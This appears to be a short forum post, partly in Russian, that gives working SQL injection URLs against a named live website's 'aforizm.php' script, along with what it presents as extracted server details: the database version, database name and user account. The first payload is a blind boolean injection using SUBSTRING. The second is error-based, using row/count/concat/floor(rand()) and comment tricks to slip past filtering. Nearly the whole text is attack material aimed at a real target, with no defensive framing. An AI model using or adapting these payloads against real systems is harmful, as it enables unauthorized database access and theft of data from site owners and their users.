http://www.tnak.am/sub/aforizm.php?act=1&uid=52&let=1/**/AND/**/SUBSTRING((y()),1,1)=x


y=version()
y=database()
y=user()

x= 5.0.85-community
x= tnakam_tnaks
x=tnakam_hvh13@localhost

или так

http://www.tnak.am/sub/aforizm.php?act=1&uid=52&let=1/**/and/**/row(1,1)%3E(select/**/count(*),concat(version(),0x3a,floor(rand()*2))/**/x/**/from/**/(select/**/1/**/union/**/select/**/2)a/**/group/**/by/**/x/**/limit/**/1)+--+1